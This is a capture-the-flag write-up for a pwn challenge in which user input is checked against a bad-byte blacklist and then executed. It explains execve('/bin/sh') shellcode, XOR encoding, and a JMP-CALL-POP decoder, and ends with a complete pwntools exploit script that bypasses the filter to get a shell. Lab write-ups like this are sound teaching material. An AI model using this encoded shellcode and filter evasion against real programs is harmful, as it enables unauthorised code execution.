Execute is a pwn challenge that requires us to write shellcode that bypasses the filter check.
When we decompile the execute binary, we can see that there is a check function which will compare user input to an array of bad bytes.
bad bytes:;Tbinsh\xf6\xd2\xc0_\xc9flag\x00
The bad bytes represent key parts of shell code execution, specifically the execve syscall and all its arguments. Typically, we would write the shellcode like this:
xor rax, rax ; clear out the rax register
mov rdi, 0x0068732f6e69622f ; hex of /bin/sh str
push rdi ; pushing the /bin/sh value on the stack
push rsp ; pushing the stack pointer value on the stack
pop rdi ; putting the value of the top of the stack in rdi
xor rsi, rsi ; clear out the rsi register
xor rdx, rdx ; clear out the rdx register
mov rax, 59 ; syscall number in rax
syscall ; perform execve("/bin/bash", null, null) syscall
A good way around the bad bytes filter is to encode our payload. But to do that, we will also need a decoder, otherwise we will execute garbage.
What is shellcode
Shellcode is code which can be executed by a program in the attempt to exploit a vulnerability in it, usually to get a shell (/bin/sh).
Why are we writing shellcode
In the below screenshot, notice that the program performs check() on our input, and if we pass the check then it will execute our buf array (thanks to the (&buf)() function pointer).



Encoding & Decoding shellcode
To decode our encoded shellcode, we can use a technique called JMP-CALL-POP. This will allow us to send a big set of instructions that will start with the decoder handling our encoded payload, and decoding it byte by byte.
More information can be found on Ray Doyle’s blogpost https://www.doInyler.net/security-not-included/hello-world-shellcode.
JMP-CALL-POP
The idea is to start executing a jump to our call_decoder function, which will then call the decoder function. The reason why we jump is because we want to avoid nulls. This blogpost explains it well https://marcosvalle.github.io/osce/2018/05/06/JMP-CALL-POP-technique.html.
In assembly, when you perform the call instruction, it will push the return address on the stack (i.e the next instruction), then sets RIP (instruction pointer) to the called target.
RSP is the stack pointer, so it will always point to the top of the stack. What we have at the top of the stack now is the address of our actual shellcode (because in our exploit code, it will come right after the call instruction).
When we POP RSI, we pop the value at the top of the stack and copy it into RSI register. So it copies RSP into RSI.


Then, we can save a copy of that address into RDI. The reason why we do that is because when we decode our shellcode, we will be incrementing the RSI pointer (since we decode byte by byte). Saving the start address allows us to easily jump back to that address to execute our decoded shellcode.
The decoding is done directly in memory, that’s why we can jump back to the start of the actual shellcode to execute it.
The decoder shellcode
deobfs_shellcode = asm(f"""
jmp call_decoder
decoder:
pop rsi ; this will add the address of our shellcode into the rsi register.
mov rdi, rsi ; making a copy to jmp back later.
; using cl and al registers to avoid null bytes (8 bit registers).
mov cl, {payload_len} ; size for loop counter
mov al, 0x0d ; the number 13 in decimal
decode_loop:
xor byte ptr [rsi], al ; xor one byte at a time
add rsi, 0x1 ; increase ptr
loop decode_loop ; keep looping until cl is 0
jmp rdi ; jmp to saved start of shellcode
call_decoder:
call decoder
""")
The encoded shellcode
I xor’ed my shellcode with the value 13 (nothing crazy I picked it randomly after doing one or two checks to verify that my encoded shellcode didn’t contain any bad characters). So now we have an encoded shellcode which is really just garbage.
actual_shellcode = asm("""
xor rax, rax ; null the rax register
mov rdi, 0x0068732f6e69622f ; /bin/sh string in rdi
push rdi ; pushing the value on the stack
push rsp ; then we push the stack pointer addr on the stack
pop rdi ; save the stack ptr addr in the rdi register so now we have a ptr to the /bin/sh string
xor rsi, rsi ; null the rsi regiser
xor rdx, rdx ; null the rdx register
mov rax, 59 ; syscall number for execve
syscall ; perform syscall with correct values in registers
""")
for num in range(0, len(actual_shellcode)):
safe.append(actual_shellcode[num] ^ 13) //xor'ing the shellcode
With pwntools you can assemble the code using asm(“””[your ASM code]”””)
Ok so now we have our decoder that will decode our encoded payload. This way, we bypass the bad bytes filter and we can still execute a syscall with execve, and get a shell !! Success
Together, it will look like this in the python script
shellcode = deobfs_shellcode + bytes(safe)
p.sendline(shellcode)
p.interactive()
from pwn import *
IP, PORT = "IP", PORT
elf = ELF("./execute", checksec=False)
#libc = ELF("./libc.so.6", checksec=False)
context.binary = elf
# context.log_level = "debug"
context.terminal = ["kitty", "-e"]
gs = """
"""
def conn():
if args.REMOTE:
r = remote(IP, PORT)
elif args.LOCAL:
r = process([elf.path])
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=gs)
else:
r = process([elf.path], level="WARNING")
return r
with conn() as p:
black_list = b";Tbinsh\xf6\xd2\xc0_\xc9flag\x00"
actual_shellcode = asm("""
xor rax, rax
mov rdi, 0x0068732f6e69622f
push rdi
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
""")
safe = []
# Check for bad bytes
for num in range(0, len(actual_shellcode)):
safe.append(actual_shellcode[num] ^ 13)
for i in range(0, len(black_list)):
for j in range(0, len(safe)):
if black_list[i] == safe[j]:
print("Wrong instruction: " + hex(safe[j]))
print(chr(safe[j]))
else:
pass
payload_len = len(safe)
# in x86-64, loop uses the RCX register. CL is the 8-bit of RCX and we can use that register because we are only using one byte to loop. AL is the lowest 8 bits of the RAX register,
deobfs_shellcode = asm(f"""
jmp call_decoder
decoder:
pop rsi
mov rdi, rsi
mov cl, {payload_len}
mov al, 0x0d
decode_loop:
xor byte ptr [rsi], al
add rsi, 0x1
loop decode_loop
jmp rdi
call_decoder:
call decoder
""")
shellcode = deobfs_shellcode + bytes(safe)
p.sendline(shellcode)
p.interactive()

Leave a comment